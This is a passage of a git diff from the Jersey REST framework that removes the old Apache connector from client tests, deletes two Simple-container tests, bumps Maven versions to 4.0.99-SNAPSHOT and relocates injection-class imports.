- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.TestProperties;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.not;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Tests finding an available port for container.
- *
- * @author Michal Gajdos
- */
-public class AvailablePortSimpleTest extends JerseyTest {
-
-    @Override
-    protected TestContainerFactory getTestContainerFactory() {
-        return new SimpleTestContainerFactory();
-    }
-
-    @Path("AvailablePortSimpleTest")
-    public static class TestResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-    }
-
-    @Override
-    protected DeploymentContext configureDeployment() {
-        forceSet(TestProperties.CONTAINER_PORT, "0");
-
-        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
-    }
-
-    @Test
-    public void testGet() {
-        assertThat(target().getUri().getPort(), not(0));
-        assertThat(getBaseUri().getPort(), not(0));
-
-        assertThat(target("AvailablePortSimpleTest").request().get(String.class), equalTo("GET"));
-    }
-}
diff --git a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java b/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java
deleted file mode 100644
index 4b869cf..0000000
--- a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.simple.SimpleContainer;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Test class for {@link SimpleContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Miroslav Fuksa
- */
-public class SimpleContainerTest extends JerseyTest {
-
-    /**
-     * Creates new instance.
-     */
-    public SimpleContainerTest() {
-        super(new SimpleTestContainerFactory());
-    }
-
-    @Override
-    protected ResourceConfig configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    /**
-     * Test resource class.
-     */
-    @Path("one")
-    public static class Resource {
-
-        /**
-         * Test resource method.
-         *
-         * @return Test simple string response.
-         */
-        @GET
-        public String getSomething() {
-            return "get";
-        }
-    }
-
-    @Test
-    /**
-     * Test {@link Simple HttpServer} container.
-     */
-    public void testSimpleContainerTarget() {
-        final Response response = target().path("one").request().get();
-
-        assertEquals(200, response.getStatus(), "Response status unexpected.");
-        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
-    }
-}
diff --git a/test-framework/util/pom.xml b/test-framework/util/pom.xml
index 67077f8..a81df23 100644
--- a/test-framework/util/pom.xml
+++ b/test-framework/util/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-util</artifactId>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index 8e7f5b7..a33c5ee 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-client</artifactId>
@@ -36,6 +36,24 @@
         <plugins>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <id>default-testCompile</id>
+                        <phase>test-compile</phase>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                        <goals>
+                            <goal>testCompile</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
                     <forkCount>1</forkCount>
@@ -128,11 +146,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
@@ -213,128 +226,19 @@
             <artifactId>commons-io</artifactId>
             <version>${commons.io.version}</version>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty</artifactId>
+        </dependency>
     </dependencies>
 
     <profiles>
         <profile>
-            <id>Jetty12Default</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty-connector</artifactId>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>Jetty11JDK11</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-connector</artifactId>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-http</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-util</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-io</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-util</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                    <version>${slf4j.version}</version>
-                </dependency>
-            </dependencies>
-        </profile>
-
-        <profile>
-            <id>JettyTestExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>default-testCompile</id>
-                                <phase>test-compile</phase>
-                                <configuration>
-                                    <testExcludes>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/connector/proxy/Proxy*Test.java</testExclude>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java</testExclude>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
-                                    </testExcludes>
-                                </configuration>
-                                <goals>
-                                    <goal>testCompile</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>xdk</id>
             <properties>
                 <!-- do not use security manager for xdk -->
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
index 5762179..07620f4 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,6 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.core.UriBuilder;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
@@ -76,7 +75,6 @@
 
     public static Stream<Arguments> clientConfigs() {
         return Stream.of(
-                Arguments.of(new TestArguments(() -> new ApacheConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new Apache5ConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new GrizzlyConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new NettyConnectorProvider(), RequestEntityProcessing.CHUNKED)),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
index 6ec8640..5b5e180 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,7 +41,7 @@
 
 import org.glassfish.jersey.InjectionManagerProvider;
 import org.glassfish.jersey.client.InjectionManagerClientProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
index e0538a3..3a88216 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientLifecycleListener;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -67,7 +67,7 @@
         return Arrays.asList(
                 new GrizzlyConnectorProvider(),
                 new JettyConnectorProvider(),
-                new ApacheConnectorProvider(),
+                new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider()
         );
     }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
index 72b2d41..6ca9141 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.AbstractRxInvoker;
 import org.glassfish.jersey.client.ClientConfig;
@@ -62,7 +61,6 @@
 
     public static List<ConnectorProvider> testData() {
         return Arrays.asList(
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider(),
                 new NettyConnectorProvider()
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
index f2c7d82..58b38b3 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,6 @@
 import jakarta.ws.rs.core.GenericType;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -63,7 +62,6 @@
         final ConnectorProvider[] providers = new ConnectorProvider[] {
                 new JdkConnectorProvider(),
                 new GrizzlyConnectorProvider(),
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new NettyConnectorProvider(),
                 new JavaNetHttpConnectorProvider(),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
index e3c3caf..ce8600e 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -107,7 +106,6 @@
 
     public static List<ConnectorProvider> providers() {
         return Arrays.asList(
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider(),
                 new NettyConnectorProvider(),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
index adc1b27..8be605d 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,7 +53,6 @@
 
 import jakarta.annotation.Priority;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -105,13 +104,11 @@
                 {new HttpUrlConnectorProvider(), true, true, false, false},
                 {new GrizzlyConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new JavaNetHttpConnectorProvider(), true, true, false, false},
                 {new HttpUrlConnectorProvider(), true, true, true, true},
                 {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new JavaNetHttpConnectorProvider(), true, true, false, false},
         });
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
index 9da5b53..a11400e 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -23,7 +23,6 @@
 import org.eclipse.jetty.server.Server;
 import org.eclipse.jetty.server.internal.HttpChannelState;
 import org.eclipse.jetty.util.Callback;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
@@ -59,7 +58,6 @@
  */
 @Suite
 @SelectClasses({
-        ProxyTest.ApacheConnectorProviderProxyTest.class,
         ProxyTest.Apache5ConnectorProviderProxyTest.class,
         ProxyTest.GrizzlyConnectorProviderProxyTest.class,
         ProxyTest.JettyConnectorProviderProxyTest.class,
@@ -73,14 +71,6 @@
     private static final String PROXY_PASSWORD = "proxy-password";
     private static final String PROXY_NO_PASS = "proxy-no-pass";
 
-    public static class ApacheConnectorProviderProxyTest extends ProxyTemplateTest {
-        public ApacheConnectorProviderProxyTest()
-                throws NoSuchMethodException, InvocationTargetException, InstantiationException,
-                IllegalAccessException {
-            super(ApacheConnectorProvider.class);
-        }
-    }
-
     public static class Apache5ConnectorProviderProxyTest extends ProxyTemplateTest {
         public Apache5ConnectorProviderProxyTest()
                 throws NoSuchMethodException, InvocationTargetException, InstantiationException,
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
index 0fde39c..68199a4 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 import javax.net.ssl.SSLContext;
 
 import org.glassfish.jersey.SslConfigurator;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -57,7 +56,6 @@
         final ConnectorProvider[] providers = new ConnectorProvider[] {
                 new HttpUrlConnectorProvider(),
                 new GrizzlyConnectorProvider(),
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new JavaNetHttpConnectorProvider(),
                 new JettyConnectorProvider()
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
index d958151..746a840 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslHttpUrlConnectorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import javax.net.ssl.SSLContext;
 import javax.net.ssl.SSLSocketFactory;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -102,7 +101,6 @@
     @MethodSource("testData")
     public void testConcurrentRequestsWithCustomSSLContext(ConnectorProvider connectorProvider) throws Exception {
         if (HttpUrlConnectorProvider.class.isInstance(connectorProvider)
-                || (ApacheConnectorProvider.class.isInstance(connectorProvider))
                 || (Apache5ConnectorProvider.class.isInstance(connectorProvider))) {
             return;
         }
diff --git a/tests/e2e-core-common/pom.xml b/tests/e2e-core-common/pom.xml
index 18dedc8..1eb2ec9 100644
--- a/tests/e2e-core-common/pom.xml
+++ b/tests/e2e-core-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-core-common</artifactId>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
index 12b2a54..456ef30 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.common;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
@@ -42,7 +43,7 @@
 public class TestRuntimeDelegate extends AbstractRuntimeDelegate {
 
     public TestRuntimeDelegate() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.SERVER).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
index 27f009e..d7d6775 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/ServiceFinderBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,8 +22,8 @@
 
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.Providers;
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
index 262220a..9ae7342 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/config/TestContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
 
 package org.glassfish.jersey.tests.e2e.common.config;
 
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
+
 /**
- * Test contract for {@link org.glassfish.jersey.internal.ServiceFinderBinder} test.
+ * Test contract for {@link ServiceFinderBinder} test.
  *
  * @author Marek Potociar
  */
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
index bd07da2..4248a61 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/internal/ContextResolverFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,17 +19,20 @@
 import java.util.Collections;
 
 import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
 import jakarta.ws.rs.ext.Provider;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.ContextResolverFactory;
